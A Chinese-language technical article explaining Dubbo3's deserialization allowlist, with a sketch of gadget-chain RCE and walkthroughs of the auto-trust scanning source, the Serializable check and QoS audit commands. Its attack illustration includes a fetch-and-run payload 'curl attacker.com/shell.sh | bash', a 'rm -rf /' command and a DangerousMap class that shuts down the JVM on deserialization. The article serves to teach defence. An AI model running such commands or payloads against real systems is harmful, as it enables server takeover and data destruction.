为什么Dubbo3引入反序列化白名单
Dubbo3从 3.1.6 版本开始引入了”序列化类检查机制”——只允许受信任白名单中的类进行序列化/反序列化。这是为了防止通过反序列化进行的 RCE(远程代码执行) 攻击。
该检查机制有三种模式:
| 模式 | 行为 | 版本默认值 |
|---|---|---|
| STRICT | 只允许白名单中的类,其余一律拒绝 | 3.2 默认 |
| WARN | 只拒绝黑名单中的类,对非白名单类记录警告 | 3.1 默认 |
| DISABLE | 不做任何检查 | — |
配置方式:
dubbo.application.serialize-check-status=STRICT
通过反序列化实施RCE攻击的原理
核心前提:Java反序列化会自动执行某些方法
Java在反序列化一个对象时,会自动调用该对象的 readObject() 方法(如果有的话)。这不是漏洞,这是Java的设计——给类一个机会在反序列化时做自定义恢复逻辑。
// 反序列化时,JVM 会自动调用这个方法
private void readObject(ObjectInputStream in) {
// 这里的代码会自动执行
}
攻击者的思路就是:构造一个恶意对象,它的 readObject() 里会触发危险操作。
但攻击者不能直接写恶意类
攻击者不能直接传一个 class Evil { Runtime.exec("rm -rf /") } 过去,因为服务端没有这个类。但是,Java类路径上已经有大量现成的类,它们组合起来可以构成一条”调用链”——这就是所谓的 Gadget Chain(利用链)。
简化的攻击流程
假设服务端类路径上有这些类(常见于 commons-collections、Spring 等库):
graph TD
TM["TransformedMap<br/>攻击者构造的序列化数据不是直接传一个命令,<br/>而是构造一个嵌套对象链"]
Trans["内部持有 Transformer[] 链"]
TM --> Trans
Trans --> I1["InvokerTransformer('getMethod', 'exec')"]
Trans --> I2["InvokerTransformer('invoke', ...)"]
Trans --> I3["InvokerTransformer('exec', 'rm -rf /')"]
当服务端反序列化这个对象时发生的事情:
1. JVM 反序列化 TransformedMap 对象
2. TransformedMap.readObject() 被自动调用
3. readObject() 内部检查到 Map 发生了变化
4. 触发 Transformer 链逐个执行
5. InvokerTransformer 的作用是:通过反射调用任意方法
6. 最终链式调用等价于:Runtime.getRuntime().exec("rm -rf /")
服务端完全没有意识到它在执行命令,它只是在”还原一个对象”,但还原过程中被精心构造的调用链劫持了。
用伪代码理解整个过程
攻击者(客户端) 服务端
───────────────── ──────────
// 1. 构造恶意对象
Object malicious = craftPayload(
"curl attacker.com/shell.sh | bash"
);
// 2. 序列化后作为 RPC 参数发送
byte[] data = serialize(malicious);
send(data) ──────────────────►
// 3. 服务端收到,正常反序列化
Object obj = deserialize(data);
// 4. JVM 自动调用 obj.readObject()
// 5. readObject 内部触发 gadget chain
// 6. 等价于执行了:
// Runtime.exec(
// "curl attacker.com/shell.sh | bash"
// )
// 💥 服务器被攻陷
为什么Dubbo尤其容易被攻击
Dubbo作为RPC框架,天然需要接收外部网络数据并反序列化:
graph LR
Consumer -->|"[序列化参数]"| Network["网络"] --> Provider["Provider 反序列化"]
Provider --> Attack["攻击入口在这里"]
攻击者伪装成Consumer,发送恶意序列化数据,Provider反序列化时就触发了RCE。
Hessian2反序列化的更直观攻击示例
比gadget链更简单的攻击方式——Hessian2的 MapDeserializer 在反序列化时会自动调用 map.put(key, value)。攻击者创建一个 DangerousMap 继承 HashMap,重写 put() 方法调用 System.exit(-1)。只需反序列化这个Map就能杀死JVM。这甚至不需要 readObject()——直接劫持了序列化框架自身的逻辑。
public class DangerousMap<K, V> extends HashMap<K, V> {
@Override
public V put(K key, V value) {
System.out.println("The JVM will be shutdown...");
System.exit(-1);
return super.put(key, value);
}
}
测试 DangerousMap 的反序列化,你将看不到 end... 输出,JVM会直接关闭。细思极恐,仅仅是反序列化一个Map对象,竟然导致JVM退出,可见序列化不被信任的Class要非常小心。
重点:不是通过 readObject() 触发的gadget chain,而是序列化框架本身的逻辑(MapDeserializer 会自动调用 put)就被劫持了。这比Java原生序列化的 readObject 机制更简单直接。
为什么白名单能防御
没有白名单时:
graph LR
A["deserialize(data)"] --> B["发现是 TransformedMap 类"] --> C["正常实例化"] --> D["触发 RCE 💥"]
有白名单(STRICT 模式)时:
graph TD
A["deserialize(data)"] --> B["发现是 TransformedMap 类"]
B --> C{"检查白名单:TransfomedMap 在白名单吗?"}
C -->|不在| D["拒绝反序列化 → 抛出异常 → 攻击失败 ✅"]
白名单确保只有业务中真正需要用到的类才能被反序列化,攻击者构造的gadget chain中的类(如 InvokerTransformer、TransformedMap)不在白名单里,反序列化直接被拒绝。
历史漏洞
| 漏洞 | 利用方式 |
|---|---|
| CVE-2019-17564 | Dubbo HTTP remoting 接受任意序列化协议,攻击者选择 Java 原生序列化,发送 gadget chain |
| CVE-2023-46279 | 绕过 Dubbo 的黑名单检查(黑名单可被绕过,所以后来改用白名单) |
这也解释了为什么Dubbo从黑名单策略转向了白名单策略——黑名单永远无法穷举所有危险类,而白名单(默认拒绝)从根本上更安全。
Dubbo3如何自动识别白名单参数
Dubbo3默认 AutoTrustSerializeClass=true,会自动扫描Service接口来填充白名单,避免开发者手动配置白名单带来的额外负担。
触发时机
当Service暴露(Provider)或引用(Consumer)时自动触发:
graph LR
A["ServiceConfig.export()"] --> X["SerializeSecurityConfigurator.registerInterface(Class<?> clazz)"]
B["ReferenceConfig.refer()"] --> X
核心源码解析
public synchronized void registerInterface(Class<?> clazz) {
// 前提:autoTrustSerializeClass 必须为 true(默认就是 true)
if (!autoTrustSerializeClass) {
return;
}
Set<Type> markedClass = new HashSet<>(); // 防止重复扫描
// === 第一步:信任 Service Class 自身 + 递归扫描关联类型 ===
checkClass(markedClass, clazz);
addToAllow(clazz.getName());
Method[] methodsToExport = clazz.getMethods();
// === 第二步:遍历所有方法,信任入参、出参、异常 ===
for (Method method : methodsToExport) {
// 方法入参类型
for (Class<?> parameterType : method.getParameterTypes()) {
checkClass(markedClass, parameterType);
}
// 方法入参的泛型(如 Optional<ThirdParam>)
for (Type genericParameterType : method.getGenericParameterTypes()) {
checkType(markedClass, genericParameterType);
}
// 返回值类型
checkClass(markedClass, method.getReturnType());
checkType(markedClass, method.getGenericReturnType());
// 异常类型
for (Class<?> exceptionType : method.getExceptionTypes()) {
checkClass(markedClass, exceptionType);
}
for (Type genericExceptionType : method.getGenericExceptionTypes()) {
checkType(markedClass, genericExceptionType);
}
}
}
checkClass 递归扫描了什么
checkClass 不仅仅是把类本身加进去,它会递归展开:
graph TD
Root["checkClass(UserService.class)"]
Root --> S1["信任 UserService 自身"]
Root --> S2["递归扫描 UserService 的父类"]
Root --> S3["递归扫描 UserService 实现的接口"]
Root --> S4["递归扫描 UserService 的所有字段类型"]
S4 --> S5["对每个字段类型再次 checkClass(递归到底)"]
addToAllow 的包级信任策略
找到类之后,addToAllow 决定信任的范围:
private void addToAllow(String className) {
// 1. JDK 内置类直接信任
if (className.startsWith("java.") || className.startsWith("javax.")
|| className.startsWith("com.sun.") || className.startsWith("sun.")
|| className.startsWith("jdk.")) {
serializeSecurityManager.addToAllowed(className);
return;
}
// 2. 自定义类:根据 trustSerializeClassLevel 信任到包级别
String[] subs = className.split("\\.");
if (subs.length > trustSerializeClassLevel) {
serializeSecurityManager.addToAllowed(
Arrays.stream(subs).limit(trustSerializeClassLevel)
.collect(Collectors.joining(".")) + ".");
} else {
serializeSecurityManager.addToAllowed(className);
}
}
具体例子
假设你有这个 Service:
package org.example.echo.service;
public interface EchoService {
Result echo(Request request);
}
其中 Request 在 org.example.echo.pojo.Request,Result 在 org.example.echo.pojo.Result,trustSerializeClassLevel=3。
启动时自动信任流程:
graph TD
Scan["扫描 EchoService.class"]
Scan --> S1["addToAllow('org.example.echo.service.EchoService')<br/>→ subs=['org','example','echo','service','EchoService']<br/>→ level=3,信任 'org.example.echo.'"]
Scan --> S2["扫描方法 echo(Request) 的入参<br/>→ checkClass(Request.class)<br/>→ addToAllow('org.example.echo.pojo.Request')<br/>→ 信任 'org.example.echo.' (同上,已存在)"]
Scan --> S3["扫描方法 echo 的返回值<br/>→ checkClass(Result.class)<br/>→ addToAllow('org.example.echo.pojo.Result')<br/>→ 信任 'org.example.echo.' (同上,已存在)"]
S1 --> Final["最终结果:org.example.echo 包下所有类都被自动信任"]
S2 --> Final
S3 --> Final
信任优先级
graph TD
L1["用户自定义白名单 (serialize.allowlist) = 框架内置白名单 (dubbo-common 模块预配置)"]
L2["用户自定义黑名单 (serialize.blockedlist) = 框架内置黑名单"]
L3["自动扫描信任的类(registerInterface 流程)"]
L1 --> L2 --> L3
框架内置白名单预配置了常用安全类,包括:
- Java基本数据类型及包装类(
int,Integer,String,Long…) - 常用集合类(
ArrayList,HashMap…) java.*,javax.*开头的JDK类
常见踩坑场景
由于 Class#getMethods() 返回的方法顺序不固定,如果某个方法的参数引用了consumer端不存在的类(比如三方SDK版本不一致),会导致 ClassNotFoundException,注册过程中断,后续方法的参数都不会被加入白名单。
这会造成”重启有时能调通,有时不行”的诡异现象。推荐的修复方式是:Service Class 所有的方法入参和出参,都不应该直接用三方SDK的类——在API模块新建DTO类,把三方类转换成自己的DTO类。
Serializable接口检查机制
Dubbo3有一个独立的安全层:check-serializable=true(默认开启)。在反序列化时会检查目标类是否实现了 java.io.Serializable 接口。如果没有实现,直接拒绝反序列化。
检查流程
graph TD
Req["反序列化请求到达"] --> Q1{"检查1:该类是否实现了 Serializable 接口?"}
Q1 -->|没实现| R1["直接拒绝(不管白名单)"]
Q1 -->|实现了| Q2{"检查2:该类在白名单中吗?"}
Q2 -->|不在白名单(STRICT 模式)| R2["拒绝"]
Q2 -->|在白名单| OK["允许反序列化 ✅"]
为什么这能防御攻击但又不够
很多gadget chain中利用的危险类并没有实现 Serializable,比如一些内部工具类、反射辅助类等。即使攻击者构造了嵌套对象链,如果最外层的触发类没实现 Serializable,整个攻击在第一步就被拦住了。
但问题是:大量危险类确实实现了 Serializable。比如 HashMap、HashSet、LinkedHashMap 等都是gadget chain的常用载体,它们全都实现了 Serializable。所以Serializable检查只是”初筛”,真正核心的防御还是白名单机制。
配置方式:
# 默认 true,开启 Serializable 接口检查
dubbo.application.check-serializable=true
关闭后会跳过这个检查,但不建议关闭。
三层防护总结
| 层级 | 机制 | 配置项 | 默认值 |
|---|---|---|---|
| 第1层 | Serializable接口检查 | check-serializable=true | true(开启) |
| 第2层 | 白名单/黑名单检查 | serialize-check-status=STRICT | 3.2=STRICT, 3.1=WARN |
| 第3层 | 自动信任扫描 | auto-trust-serialize-class=true | true(开启) |
三层之间的关系:
| 场景 | Serializable检查 | 白名单检查 | 结果 |
|---|---|---|---|
| 正常业务DTO(实现了Serializable,在白名单中) | ✅ | ✅ | 通过 |
| 正常业务DTO(未实现Serializable) | ❌ | — | 拒绝 |
| 攻击者的恶意类(实现了Serializable,不在白名单中) | ✅ | ❌ | 拒绝 |
| 攻击者的恶意类(未实现Serializable) | ❌ | — | 拒绝 |
自定义白名单配置
除了自动扫描,还支持手动配置白名单文件:
# resources/security/serialize.allowlist
com.yourcompany.model
# resources/security/serialize.blockedlist
com.dangerous.package
配置成功后可以在日志看到以下提示:
INFO utils.SerializeSecurityConfigurator: [DUBBO] Read serialize allow list from file:...
INFO utils.SerializeSecurityConfigurator: [DUBBO] Read serialize blocked list from file:...
QoS审计命令
Dubbo支持通过QoS命令实时查看当前的配置信息以及可信/不可信类列表:
serializeCheckStatus —— 查看当前配置信息
通过控制台直接访问:
> telnet 127.0.0.1 22222
dubbo>serializeCheckStatus
CheckStatus: STRICT
CheckSerializable: true
AllowedPrefix:
...
DisAllowedPrefix:
...
通过HTTP请求JSON格式结果:
> curl http://127.0.0.1:22222/serializeCheckStatus
{"checkStatus":"STRICT","allowedPrefix":[...],"checkSerializable":true,"disAllowedPrefix":[...]}
serializeWarnedClasses —— 查看实时警告列表
> telnet 127.0.0.1 22222
dubbo>serializeWarnedClasses
WarnedClasses:
io.dubbo.test.NotSerializable
io.dubbo.test2.NotSerializable
建议及时关注 serializeWarnedClasses 的结果,通过返回结果是否非空来判断是否受到攻击。
Sources
- Dubbo 序列化机制介绍 — Dubbo 官方文档
- Class Check Mechanism — Dubbo 官方文档
- Dubbo 序列化类检查和自动信任机制 — 掘金
- Dubbo3序列化安全机制导致的一次生产故障 — 掘金
- CVE-2019-17564: Apache Dubbo RCE — Checkmarx
- CVE-2023-46279: Bypass deny list — Seclists